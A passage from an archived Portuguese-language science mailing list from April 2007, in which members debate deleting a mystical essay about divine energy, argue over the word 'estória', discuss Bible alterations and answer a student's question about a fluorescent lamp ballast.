controlada". Foi o carlos castanheda que invetou. Me
sinto assim, controlado entre uma loucura e outra.

--- Observe isto aqui: O dificil não é ser louco. Ser
louco é fácil, é natural, o dificil é ser normal.
Abrimos a mão e a pedra cai. Não é preciso esforço
para ser natural, só é preciso esforço para ser
cultural.

Murilo >>> Prá mim, um proto-hyppie, um sítio ainda
está faltando em minha vida.

--- Já tentou um acordo com a Agente Smith? O Cifer
consegiu uma fazenda no Arizona que é uma beleza.

Murilo >>> Que eternidade é esta que não tarda nem
falha?

--- Alguma vez vc já testemunhou uma dia que não
trouxesse uma noite? Ou uma noite que não trouxesse um
dia? Alguma vez vc já testemunhou uma hora que não
tivesse 60 minutos? Um minuto que não tivesse 60
seguntos, e assim por diante...

--- Eis ai a eternidade que não tarda nem falha.


a woman with red dress pra vc
abç. ferrari








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SUBJECT: Re: A Força que Nunca Seca ::: (sobre onipotência)
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 02/04/2007 18:04

Olá Leo

Leo: "Sugiro aos demais moderadores pensarem na opção 'deletar'; têm
minha aprovação."

Eu voto a favor..:-) Nunca li tanta bobagem junta, em especial em
algo com a pretensão de ser "científico". Acho que nem o Capra e o
Goswami escreveram algo tão confuso, fora de propósito, sem sentido e
incoerente assim.

Mistura termos, confunde conceitos, cria afirmações do nada, e não
apresenta nenhuma evidência a sustentar as alegações apreentadas.
Coisas como "energia é o amor de deus" e outras "frases de impacto",
que nada significam, não podem ser verificadas ou sustentadas, só bobagem.

Não dá nem para tentar responder, tal o nível de absurdos contido no
texto.

Fala sério, frases como estas - O AMOR DE DEUS NÃO É BOM NEM RUIM: É
ENERGIA - A ENERGIA UNIVERSAL É UMA FORÇA CEGA. - não servem nem como
exemplo de coisa sem sentido, passam da conta..:-) Desagradam
religiosos, que acreditam em deuses, por ser idiota (um amor que não é
nem bom nem ruim, não é nada, não serve para nada, e não se diferencia
de NENHUM amor), e desagradam cientistas e pessoas racionais, por
serem sem sentido e absurdas.

Fica meu voto, para permitir que a lista respire de novo uma atmosfera
de racionalidade e lógica, no sentido de deletar bobagens desse calibre.

Um abraço.

Homero








--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
<leobarretos@...> escreveu
>
> Aqui não é lista religiosa. Se analisado sob cunho científico o
texto é uma enxurrada de bobagens:
> Força é úmida (pois nunca seca)
> energia é força (então prá que duas palavras para o mesmo conceito)
> e as bobagens se amontoam.
>
> Sugiro aos demais moderadores pensarem na opção 'deletar'; têm minha
aprovação.
>
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> Luiz Ferraz Netto [Léo]
> leobarretos@...
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> De: "Ferrari" <emailferrari@...>
> Para: <emailferrari@...>
> Enviada em: segunda-feira, 2 de abril de 2007 15:04
> Assunto: [ciencialist] A Força que Nunca Seca ::: (sobre onipotência)
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> A FORÇA QUE NUNCA SECA
> http://lampadadealadim.blogspot.com
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> (sobre onipotência)
>
> <<< por isto uma força me leva a cantar / por isto
> esta força estranha no ar / por isto é que eu canto
> não posso parar >>> (Caetano Veloso)
>
> Embora não possamos tocar deus com as mãos, ou vê-lo
> com os olhos, ou escutá-lo com os ouvidos, ele nos é
> revelado através de sua constante manifestação e da
> nossa capacidade de percepção. Assim, podemos vê-lo
> iluminando um quarto escuro, senti-lo no calor do
> fogo, ouvi-lo numa musica. Som, luz, calor são alguns
> exemplos de como podemos constantemente detectar,
> decodificar e deduzir deus através da sua constante
> manifestação.
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> A MANIFESTAÇÃO UNIVERSAL É A TOMADA DA EVOLUÇÃO.
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> Já aconteceu de você estar no cinema e, de repente,
> acabar a energia? O que aconteceu com cada uma das
> formas cinematográficas que estavam se manifestando na
> tela? Todas desapareceram simultaneamente, não foi?
> Quando falta eletricidade num parque de diversões, o
> que acontece? Todos os brinquedos param
> simultaneamente, não é? Analogamente, a manifestação
> de deus é a força responsável por transformar
> (atualizar) todas as formas do conteúdo universal.
> Desligada a manifestação universal cessariam
> simultaneamente todas as formas e transformações
> (evolução). O universo seria apenas um conteúdo
> inerte, assim como um mar sem ondas ou um filme sem
> projeção. Popularmente chamamos a manifestação
> universal de energia. Sendo assim, cabe aqui e agora
> outra definição: o que é energia?
>
> ENERGIA UNIVERSAL É A MANIFESTAÇÃO UNIVERSAL DO SER
> UNIVERSAL. É A FORÇA ONIPOTENTE. É O MOVIMENTO DA
> ETERNIDADE. É O AMOR DE DEUS.
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> Energia é a força que nunca seca. É o amor de deus, ou
> como diz a semantica cristã: é o sangue de cristo que
> é (constantemente) derramado por nós. Ou seja, energia
> universal é o que mantém funcionando o eterno processo
> de transformação das formas (evolução). É a força
> eterna que mantém os brinquedos (formas) do parque de
> diversões (cérebro de deus) em funcionamento
> constante.
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> No principio era "o" verbo, diz a semantica cristã. O
> que isto significa? Significa que o amor de deus é "o"
> verbo, causa de todos os outros verbos. Ou seja, é a
> continua manifestação de deus que faz o universo se
> conjugar no presente contínuo. Pense nas quatro forças
> que a fisica teoriza: eletricidade, magnetismo, força
> fraca e forte. Como essas quatro forças poderiam
> existir sem a manifestação universal? Não poderiam. As
> quatro forças que a ciência teoriza é o amor de deus
> visto por quatro teorias diferentes.
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> O AMOR DE DEUS NÃO É BOM NEM RUIM: É ENERGIA.
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> Imagine que você é um açougueiro que precisa moer um
> quilo de carne de vaca, porém, como a tomada na parede
> do seu açougue é vegetariana, ela se recusa a lhe
> fornecer energia. Situação absurda, não é? Mas este
> exemplo serve para nos mostrar que a energia universal
> (amor de deus) tem uma característica fundamental:
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> Assim como a companhia elétrica fornece eletricidade
> independente do uso que o usuário irá fazer da
> eletricidade, assim o ser universal (deus) também
> fornece seu amor para todos os seres criarem e
> alimentarem o comportamento que bem entenderem. A
> energia universal é cega para o uso que os seres fazem
> dela. Ou seja, podemos usar a energia universal tanto
> para amar o próximo como para odiá-los. Podemos usar a
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SUBJECT: RES: [ciencialist] PEDIDO DE EXCLUSAO
FROM: "Miriam Salles" <seabrasalles@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 02/04/2007 19:00

Olá!
Que alívio ler essa mensagem! Me inscrevi ontem na lista e, confesso, já ia
acessar o Yahoo para me desligar!!
Em tempo, sou bióloga e professora de informática educacional. Moroa em
campinas, SP
Um abraço
Miriam

http://www.miriamsalles.info <http://www.miriamsalles.info/>
http://www.miriamsalles.info/wp



[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Alteracoes na Biblia
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 02/04/2007 19:01

Álvaro:

Pela competencia literária dele que introduziu uma nova técnica no escrever e que ninguém mais ousou imitar pois Guimarães Rosa é, apenas, o maior escritor brasileiro, deixando até Machado de Assis em segundo plano, pela sua excepcional capacidade de retratar o nosso povo.

Atualmente, a prostituição da língua chegou a um ponto tão grave que na televisão já dizem que o "menu" do programa de computador.... e dizem menu mesmo não "meni" como essa palavra francesa é pronunciada em seu país natal. - É cardápio em português. Como também é uma regra a ser observada, usar as palavras menores, quando sinônimas, podemos usar "meni", mas jamais menu...e assim se cria um neologismo em área técnica.

E assim caminha a humanidade.....
----- Original Message -----
From: Alvaro Augusto (L)
To: ciencialist@yahoogrupos.com.br
Sent: Monday, April 02, 2007 9:52 AM
Subject: Re: [ciencialist] Alteracoes na Biblia


Se Guimarães Rosa usou a palavra "estória" com propriedade, então ela está
autorizada.

[ ]s

Alvaro Augusto

----- Original Message -----
From: "Silvio Cordeiro" <scordeiroes@superig.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Friday, March 30, 2007 9:29 PM
Subject: Re: [ciencialist] Alteracoes na Biblia

"estória" é um barbarismo copiado dos americanos e não tem guarida na nossa
língua. O único escritor brasileiro que a usou com propriedade, copiando os
falaes do povo do interior é Guimarães Rosa.
Não entendo essa crua necessidade de prostituir o idioma pátrio.

silvio.
----- Original Message -----
From: Victor
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 9:06 PM
Subject: Re: [ciencialist] Alteracoes na Biblia

Adeilson,

".....acreditaria na mentira, estou certo?"

Em minha opinião você está certíssimo. Claro que noventa e trocentas
pessoas acharão que não.
Já estive lá e sei.

Ainda, em minha opinião, e parodiando Pauli. diria: a bíblia SEQUER está
errada!. São estórias prá boi dormir.

Sds,
Victor.

----- Original Message -----
From: Adeilson Moreira Junior
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 7:15 PM
Subject: Re: [ciencialist] Alteracoes na Biblia

Erros eu procuro no sentido de algum dos porta vozes divinos ter escrito
uma coisa e , por exemplo, um monge copista ter alterado para adequar aos
dogmas catolicos. Nao procuro erros logicos.
Eu passei a me interessar mais pela Biblia de tanto ouvir crentes chorando
ao meu ouvido a perfeicao que é a Biblia, que ela conem todas as verdades,
que isso, que aquilo...
A Biblia nao é um livro divino. Para mim, é apenas mais uma obra humana, e
todo e qualquer estudioso de teologia sabe que a maior parte dela foi
escrita a partir de dados orais muito posteriores aos acontecimentos. Alguem
aqui ja brincou de telefone sem fio???
A Biblia é uma obra valida, assim como o Corao. Na verdade, quem acredita
na Biblia como verdade absoluta, se tivesse nascido, por exemplo, na Arabia
Saudita, acreditaria na mentira, estou certo?

----- Original Message -----
From: Luiz Ferraz Netto
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 5:40 PM
Subject: Re: [ciencialist] Alteracoes na Biblia

Bíblia é uma antologia, uma coletânea de ficção literária no tema
'misticismo'. São narrativas de pensamento, sem qualquer cunho lógico (da
matemática) ou científico. Procurar erros em tais narrativas é procurar
'palavras' em dicionários ortográficos.
Se a Bíblia não sofresse alterações para se re-ajustar à época e seus
modismos não seria o livro mais vendido do mundo; dogmas não são
permanentes! Cada narrativa deve ser alterada para ter um novo sentido
condizente com os padrões da população vigente. Cada crente deve consultar a
'bíblia atualizada' assim como cada aluno deve consultar o 'novo dicionário
da língua portuguesa'. As 'parábolas' da Bíblia não são da forma y =
ax^2+bx+c; se o fossem não sofreriam alterações.
Todavia, sua solicitação é válida e ... nosso cérebro positrônico, modelo
vivo das leis robóticas do Bom Doutor, de sobrenome fictício 'Takata', com
certeza lhe dará dúzias desses links.

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Adeilson Moreira Junior" <adeilsonmoreirajr@hotmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sexta-feira, 30 de março de 2007 16:29
Assunto: [ciencialist] Alteracoes na Biblia

Algum de voces conhece algum site que trate da Biblia e os erros que ela
contem? Sei que durante o processo historico ocorreram muitas alteracoes
visando a afirmacao de dogmas da Igreja, porem eu ainda nao consegui
encontrar informacoes mais concentradas, somente dados soltos por diversos
sites.
Obrigado desde ja,

Adeilson Moreira Junior






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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: P/ Miriam - RES: [ciencialist] PEDIDO DE EXCLUSAO
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 02/04/2007 19:14

Olá Miriam

Miriam: "Que alívio ler essa mensagem! Me inscrevi ontem na lista e,
confesso, já ia acessar o Yahoo para me desligar!!"

De um modo geral, esta lista é excelente, e os assuntos debatidos aqui
são informativos, científicos e altamente esclarecedores, com muitos
dos co-listeiros sendo fonte de conhecimento extremamente confiáveis.

Mesmo quando se discorda de algo, isso é feito dentro de parametros
lógicos, racionais, coerentes e a partir de argumentos e evidências.

Se tiver paciência e ficar na lista, vai descobrir que é uma ótima
comunidade, com ótimos co-listeiros..:-)

Mas, de vez em quando, devido a pastores perdidos, proselitistas,
crentes diversos e malucos em geral, ela tem alguns problemas de
irracionalidade, falta de lógica, religiosidade distorcida e afins.
Mas passa rápido, e logo voltamos a razão e a ciência.

Um abraço e espero que fique na lista. Seja bem-vinda..:-)

Homero


--- Em ciencialist@yahoogrupos.com.br, "Miriam Salles"
<seabrasalles@...> escreveu
>
> Olá!
> Que alívio ler essa mensagem! Me inscrevi ontem na lista e,
confesso, já ia
> acessar o Yahoo para me desligar!!
> Em tempo, sou bióloga e professora de informática educacional. Moroa em
> campinas, SP
> Um abraço
> Miriam
>
> http://www.miriamsalles.info <http://www.miriamsalles.info/>
> http://www.miriamsalles.info/wp
>
>
>
> [As partes desta mensagem que não continham texto foram removidas]
>




SUBJECT: Re: [ciencialist] Alteracoes na Biblia
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 02/04/2007 19:18

Ô Adeilson: não sou ortodoxo: sou ateu... e apenas prezo e sigo os cânones da língua que aprendemos com os bons autores.
Aliás, escrever de forma correta é difícil, livros são caros, nos tempos atuais, onde um paulo coelho assenta ou melhor, conspurca uma cadeira da Academia, escrever bem já não nenhum mérito nem tem sentido: antes, pelo contrário.

Breve o Lula estará também na ABL.

sds.,
silvio.
----- Original Message -----
From: Adeilson Moreira Junior
To: ciencialist@yahoogrupos.com.br
Sent: Monday, April 02, 2007 12:10 PM
Subject: Re: [ciencialist] Alteracoes na Biblia


E qual palavra poderia tambem ser usada com o mesmo requinte de estoria? Folclore acaba tendo o sentido muito fantasioso e, digamos, mentiroso, nao o sentido ficcional que estoria tem.
Eu entendi o que o Silvio criticou, mas ele foi muito ortodoxo e é apenas o meu ponto de vista.

Adeilson Moreira Junior

----- Original Message -----
From: Gil
Subject: Re: [ciencialist] Alteracoes na Biblia

Adeílson - "Vitor, eu discordo completamente de voce. Se fosse falante de
arabe ou mandarim eu ae entenderia a aversao ao ditos estrangeirismos."

Adeílson - "Nas bases do nosso portugues estao retalhos anglosaxoes, e
portanto, acho hipocrita negar novas palavras provenientes dessa lingua."

Há palavras que vêm do Árabe também. Almofada, Almirante, Xerife, Quintal,
Azeite.
Catchup acho que vem do Chinês. Nosso idioma é uma mistura "arrumada"

Mas acho que o Sílvio não critica o uso de palavras de origem estrangeira,
mas a "pressa" em trocar palavras que já existem em nosso idioma por outras.

Gil

---------- Forwarded message ----------
From: Adeilson Moreira Junior <adeilsonmoreirajr@hotmail.com>
Date: 31/03/2007 12:34
Subject: Re: [ciencialist] Alteracoes na Biblia
To: ciencialist@yahoogrupos.com.br

Vitor, eu discordo completamente de voce. Se fosse falante de arabe ou
mandarim eu ae entenderia a aversao ao ditos estrangeirismos.
Ha casos e casos, porem, a palavra estoria realmente designa uma palavra
um pouco mais requintada que folclore. A lingua é uma construcao de
vocabulos e significancias costuradas de outros idiomas. Nas bases do nosso
portugues estao retalhos anglosaxoes, e portanto, acho hipocrita negar novas
palavras provenientes dessa lingua. Se eu, como escritor, sentir necessidade
do uso de uma expressao estrangeira para melhor me expressar, usaria,
tranquilamente.
Claro, que como eu disse, ha casos e casos. Muitos exageram, mas é
comum, penso eu, à todos da lista que nao foi nenhum atentado ao portugues
que cometeu nosso colega Vitor.
E infelizmente, apesar de existir o folclore, vou continuar usando
estoria. Assim como existe luminaria, mas preferimos usar o abajour...

Adeilson Moreira Junior
----- Original Messa ge -----
From: Silvio Cordeiro
To: ciencialist@yahoogrupos.com.br
Sent: Saturday, March 31, 2007 10:27 AM
Subject: Re: [ciencialist] Alteracoes na Biblia

Vitor:
A pronuncia correta é "is" e não "es" que modernosos usasm para conspurcar
a língua: converse com uma pessoa qualquer na rua e faça com que ela use a
palavra: ferás a pronúncia correta.
Admiro esse afâ de contestar será por minha pessoa ou realmente detestam
os falares de sua Pátria?

sds.,
silvio
----- Original Message -----
From: Victor
To: ciencialist@yahoogrupos.com.br
Sent: Saturday, March 31, 2007 6:49 AM
Subject: Re: [ciencialist] Alteracoes na Biblia

Mestre Sílvius,

Uma palavra escrita é um conjunto de símbolos que expressa os sons que são
produzidos por nosso juízo, tantã ou não. Em qualquer ídioma. Varia apenas a
forma de grafá-los. Mas, em cada caso, o essencial é isto: fazer-se
entender. E não é imperioso que se estabeleçam regras e mais regras, de
forma a que esses símbolos se apresentem "politicamente" inseridos num
contexto,elegantemente interconectados, e outras saídas do armário
associadas, para que as idéias sejam captadas pelos circunstantes! Fiz-me
compreender?
Contudo, e não mais que contudo, fui alí e encontrei que a grafia dos sons
emitidos por minha vã prosopopéia está grafado como precisamente alí diz:

Michaelis Moderno Dicionário da Língua Portuguesa

. es.tó.ria

sf (gr historía) Narrativa de lendas, contos tradicionais de ficção;
''causo'': ''Ouviram atentos aquelas estórias de mentira, da
'mula-sem-cabeça', do saci, do curupira. Mais tarde tiveram que mergulhar
fundo nas histórias de verdade, para saber como foi construído o Brasil''
(Francisco Marins). E. em quadrinhos: série de desenhos, em uma série de
quadros, que representam uma estória, com legendas ou sem elas. E. da
carochinha: conto da carochinha. Estórias do arco da velha: coisas
inverossímeis, inacreditáveis. Estória para boi dormir, gír: conversa
enfadonha, com intuito de embair; conversa fiada. Deixar-se de estórias:
evitar rodeios, indo logo ao ponto principal.

Ou seja, para exprimir exatamente o que quis dizer, com todo o potencial
de minha heresia, nenhuma outra palavra, das que sei, serviria. Somente
"estória" é que estaria, como está, corretamente inserida no contexto:
"....a bíblia SEQUER está errada! São estórias prá boi dormir."
De outro modo, não seria eu o bom hereje que sou, ora!
Bem, espero ter contado direitinho a história da estória espinafrada.

Particularmente, não acho francesismos, anglicanismos, e outros
frescurismos, sejam "barbarismos" a serem evitados, em qualquer situação.
Pior do que prostituir a língua(êpa, língua falada...) é prostituir o juízo
do usuário dessa língua, com promessas e mais promessas, com mentiras e o
mais associado; é prostituir a sociedade com a neurose justificada e real da
falta de segurança, em todas as áreas, sendo a física tão visceralmente
atingida quanto qualquer outra, apenas, no momento, mascarada por aquela. Um
básico e necessário a um mínimo de conforto nesta curta vida que ainda
haveremos de atravessar, é-nos negado, com estórias e mais estórias. Essa é
que é a história, o realitiy show, ontem e agora!
Conclusão: a história é bem outra, em curso no dia a dia nosso de cada
segundo. E juro que não é estória!

Sds,
Victor.

----- Original Message -----
From: Silvio Cordeiro
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 9:29 PM
Subject: Re: [ciencialist] Alteracoes na Biblia

"estória" é um barbarismo copiado dos americanos e não tem guarida na
nossa língua. O único escritor brasileiro que a usou com propriedade,
copiando os falaes do povo do interior é Guimarães Rosa.
Não entendo essa crua necessidade de prostituir o idioma pátrio.

silvio.
----- Original Message -----
From: Victor
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 9:06 PM
Subject: Re: [ciencialist] Alteracoes na Biblia

Adeilson,

".....acreditaria na mentira, estou certo?"

Em minha opinião você está certíssimo. Claro que noventa e trocentas
pessoas acharão que não.
Já estive lá e sei.

Ainda, em minha opinião, e parodiando Pauli. diria: a bíblia SEQUER está
errada!. São estórias prá boi dormir.

Sds,
Victor.

----- Original Message -----
From: Adeilson Moreira Junior
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 7:15 PM
Subject: Re: [ciencialist] Alteracoes na Biblia

Erros eu procuro no sentido de algum dos porta vozes divinos ter escrito
uma coisa e , por exemplo, um monge copista ter alterado para adequar aos
dogmas catolicos. Nao procuro erros logicos.
Eu passei a me interessar mais pela Biblia de tanto ouvir crentes chorando
ao meu ouvido a perfeicao que é a Biblia, que ela conem todas as verdades,
que isso, que aquilo...
A Biblia nao é um livro divino. Para mim, é apenas mais uma obra humana, e
todo e qualquer estudioso de teologia sabe que a maior parte dela foi
escrita a partir de dados orais muito posteriores aos acontecimentos. Alguem
aqui ja brincou de telefone sem fio???
A Biblia é uma obra valida, assim como o Corao. Na verdade, quem acredita
na Biblia como verdade absoluta, se tivesse nascido, por exemplo, na Arabia
Saudita, acreditaria na mentira, estou certo?

----- Original Message -----
From: Luiz Ferraz Netto
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 5:40 PM
Subject: Re: [ciencialist] Alteracoes na Biblia

Bíblia é uma antologia, uma coletânea de ficção literária no tema
'misticismo'. São narrativas de pensamento, sem qualquer cunho lógico (da
matemática) ou científico. Procurar erros em tais narrativas é procurar
'palavras' em dicionários ortográficos.
Se a Bíblia não sofresse alterações para se re-ajustar à época e seus
modismos não seria o livro mais vendido do mundo; dogmas não são
permanentes! Cada narrativa deve ser alterada para ter um novo sentido
condizente com os padrões da população vigente. Cada crente deve consultar a
'bíblia atualizada' assim como cada aluno deve consultar o 'novo dicionário
da língua portuguesa'. As 'parábolas' da Bíblia não são da forma y =
ax^2+bx+c; se o fossem não sofreriam alterações.
Todavia, sua solicitação é válida e ... nosso cérebro positrônico, modelo
vivo das leis robóticas do Bom Doutor, de sobrenome fictício 'Takata', com
certeza lhe dará dúzias desses links.

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Adeilson Moreira Junior" <adeilsonmoreirajr@hotmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sexta-feira, 30 de março de 2007 16:29
Assunto: [ciencialist] Alteracoes na Biblia

Algum de voces conhece algum site que trate da Biblia e os erros que ela
contem? Sei que durante o processo historico ocorreram muitas alteracoes
visando a afirmacao de dogmas da Igreja, porem eu ainda nao consegui
encontrar informacoes mais concentradas, somente dados soltos por diversos
sites.
Obrigado desde ja,

Adeilson Moreira Junior
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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: A Força que Nunca Seca ::: (sobre onipotência)
FROM: "Victor" <jvoneto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 02/04/2007 19:38

...ou, simplesmente, nada responder. As respostas são a alimentação para o "fenômeno". Matar de fome, eis a solução mais simples.
Nada tenho contra discutir tal o qual baboseira, segundo meu entendimento. Que pode não ser baboseira para quem disso use. Só que este fórum não é local adquado.

Sds,
Victor.


----- Original Message -----
From: oraculo333
To: ciencialist@yahoogrupos.com.br
Sent: Monday, April 02, 2007 6:04 PM
Subject: [ciencialist] Re: A Força que Nunca Seca ::: (sobre onipotência)


Olá Leo

Leo: "Sugiro aos demais moderadores pensarem na opção 'deletar'; têm
minha aprovação."

Eu voto a favor..:-) Nunca li tanta bobagem junta, em especial em
algo com a pretensão de ser "científico". Acho que nem o Capra e o
Goswami escreveram algo tão confuso, fora de propósito, sem sentido e
incoerente assim.

Mistura termos, confunde conceitos, cria afirmações do nada, e não
apresenta nenhuma evidência a sustentar as alegações apreentadas.
Coisas como "energia é o amor de deus" e outras "frases de impacto",
que nada significam, não podem ser verificadas ou sustentadas, só bobagem.

Não dá nem para tentar responder, tal o nível de absurdos contido no
texto.

Fala sério, frases como estas - O AMOR DE DEUS NÃO É BOM NEM RUIM: É
ENERGIA - A ENERGIA UNIVERSAL É UMA FORÇA CEGA. - não servem nem como
exemplo de coisa sem sentido, passam da conta..:-) Desagradam
religiosos, que acreditam em deuses, por ser idiota (um amor que não é
nem bom nem ruim, não é nada, não serve para nada, e não se diferencia
de NENHUM amor), e desagradam cientistas e pessoas racionais, por
serem sem sentido e absurdas.

Fica meu voto, para permitir que a lista respire de novo uma atmosfera
de racionalidade e lógica, no sentido de deletar bobagens desse calibre.

Um abraço.

Homero

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
<leobarretos@...> escreveu
>
> Aqui não é lista religiosa. Se analisado sob cunho científico o
texto é uma enxurrada de bobagens:
> Força é úmida (pois nunca seca)
> energia é força (então prá que duas palavras para o mesmo conceito)
> e as bobagens se amontoam.
>
> Sugiro aos demais moderadores pensarem na opção 'deletar'; têm minha
aprovação.
>
> []'
>
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@...
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: "Ferrari" <emailferrari@...>
> Para: <emailferrari@...>
> Enviada em: segunda-feira, 2 de abril de 2007 15:04
> Assunto: [ciencialist] A Força que Nunca Seca ::: (sobre onipotência)
>
>
> A FORÇA QUE NUNCA SECA
> http://lampadadealadim.blogspot.com
>
> (sobre onipotência)
>
> <<< por isto uma força me leva a cantar / por isto
> esta força estranha no ar / por isto é que eu canto
> não posso parar >>> (Caetano Veloso)
>
> Embora não possamos tocar deus com as mãos, ou vê-lo
> com os olhos, ou escutá-lo com os ouvidos, ele nos é
> revelado através de sua constante manifestação e da
> nossa capacidade de percepção. Assim, podemos vê-lo
> iluminando um quarto escuro, senti-lo no calor do
> fogo, ouvi-lo numa musica. Som, luz, calor são alguns
> exemplos de como podemos constantemente detectar,
> decodificar e deduzir deus através da sua constante
> manifestação.
>
> A MANIFESTAÇÃO UNIVERSAL É A TOMADA DA EVOLUÇÃO.
>
> Já aconteceu de você estar no cinema e, de repente,
> acabar a energia? O que aconteceu com cada uma das
> formas cinematográficas que estavam se manifestando na
> tela? Todas desapareceram simultaneamente, não foi?
> Quando falta eletricidade num parque de diversões, o
> que acontece? Todos os brinquedos param
> simultaneamente, não é? Analogamente, a manifestação
> de deus é a força responsável por transformar
> (atualizar) todas as formas do conteúdo universal.
> Desligada a manifestação universal cessariam
> simultaneamente todas as formas e transformações
> (evolução). O universo seria apenas um conteúdo
> inerte, assim como um mar sem ondas ou um filme sem
> projeção. Popularmente chamamos a manifestação
> universal de energia. Sendo assim, cabe aqui e agora
> outra definição: o que é energia?
>
> ENERGIA UNIVERSAL É A MANIFESTAÇÃO UNIVERSAL DO SER
> UNIVERSAL. É A FORÇA ONIPOTENTE. É O MOVIMENTO DA
> ETERNIDADE. É O AMOR DE DEUS.
>
> Energia é a força que nunca seca. É o amor de deus, ou
> como diz a semantica cristã: é o sangue de cristo que
> é (constantemente) derramado por nós. Ou seja, energia
> universal é o que mantém funcionando o eterno processo
> de transformação das formas (evolução). É a força
> eterna que mantém os brinquedos (formas) do parque de
> diversões (cérebro de deus) em funcionamento
> constante.
>
> No principio era "o" verbo, diz a semantica cristã. O
> que isto significa? Significa que o amor de deus é "o"
> verbo, causa de todos os outros verbos. Ou seja, é a
> continua manifestação de deus que faz o universo se
> conjugar no presente contínuo. Pense nas quatro forças
> que a fisica teoriza: eletricidade, magnetismo, força
> fraca e forte. Como essas quatro forças poderiam
> existir sem a manifestação universal? Não poderiam. As
> quatro forças que a ciência teoriza é o amor de deus
> visto por quatro teorias diferentes.
>
> O AMOR DE DEUS NÃO É BOM NEM RUIM: É ENERGIA.
>
> Imagine que você é um açougueiro que precisa moer um
> quilo de carne de vaca, porém, como a tomada na parede
> do seu açougue é vegetariana, ela se recusa a lhe
> fornecer energia. Situação absurda, não é? Mas este
> exemplo serve para nos mostrar que a energia universal
> (amor de deus) tem uma característica fundamental:
>
> A ENERGIA UNIVERSAL É UMA FORÇA CEGA.
>
> Assim como a companhia elétrica fornece eletricidade
> independente do uso que o usuário irá fazer da
> eletricidade, assim o ser universal (deus) também
> fornece seu amor para todos os seres criarem e
> alimentarem o comportamento que bem entenderem. A
> energia universal é cega para o uso que os seres fazem
> dela. Ou seja, podemos usar a energia universal tanto
> para amar o próximo como para odiá-los. Podemos usar a
> energia universal tanto para criar espaçonaves como
> bombas atômicas. Podemos usar a energia universal
> tanto para tomar banho quente de chuveiro como para
> matar pessoas eletrocutadas.
>
> O AMOR DE DEUS SEMPRE APÓIA TODOS OS SERES EM QUALQUER
> OBJETIVO.
>
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SUBJECT: Fw: DIMENSIONAMENTO DE UM REATOR
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 02/04/2007 19:44

Olá ocultos assessores elétricos,
vamos retornar ao trabalho?

Quem dimensionar esse reator ganha um deus particular, só para si, com propriedades inusitadas.

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: Alexandre Ribeiro
Para: leobarretos@uol.com.br
Enviada em: sábado, 31 de março de 2007 17:37
Assunto: DIMENSIONAMENTO DE UM REATOR


Profº Luiz,
Sou aluno de engenharia elétrica e preciso calcular o nº de voltas de um reator dentro de um circuito de 01 lâmpada fluorescente de 20W em 220 volts e 01 stater, como proceder? Sabendo que o fio do reator é fio 30.

Grato,
Alexandre Ribeiro.


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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] PEDIDO DE EXCLUSAO
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 02/04/2007 19:51

Calma Miriam,

os deuses têm data de validade; a hora chegou!

aquele abraço e,

bem vinda ao C-List.
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Miriam Salles" <seabrasalles@uol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: segunda-feira, 2 de abril de 2007 19:00
Assunto: RES: [ciencialist] PEDIDO DE EXCLUSAO


Olá!
Que alívio ler essa mensagem! Me inscrevi ontem na lista e, confesso, já ia
acessar o Yahoo para me desligar!!
Em tempo, sou bióloga e professora de informática educacional. Moroa em
campinas, SP
Um abraço
Miriam

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SUBJECT: Re: [ciencialist] PEDIDO DE EXCLUSAO
FROM: "Ricardo" <ricardos@infolink.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 02/04/2007 20:07

Concordo.

Acho que chegou ao ponto de atrapalhar o foco e o andamento da lista.

É a minha opinião, é claro.

[]s
Ricardo

----- Original Message -----
From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, April 02, 2007 5:56 PM
Subject: [ciencialist] PEDIDO DE EXCLUSAO


Senhores do C-List,

com base nas papagaiadas dessa mensagem (adicionada às dezenas de
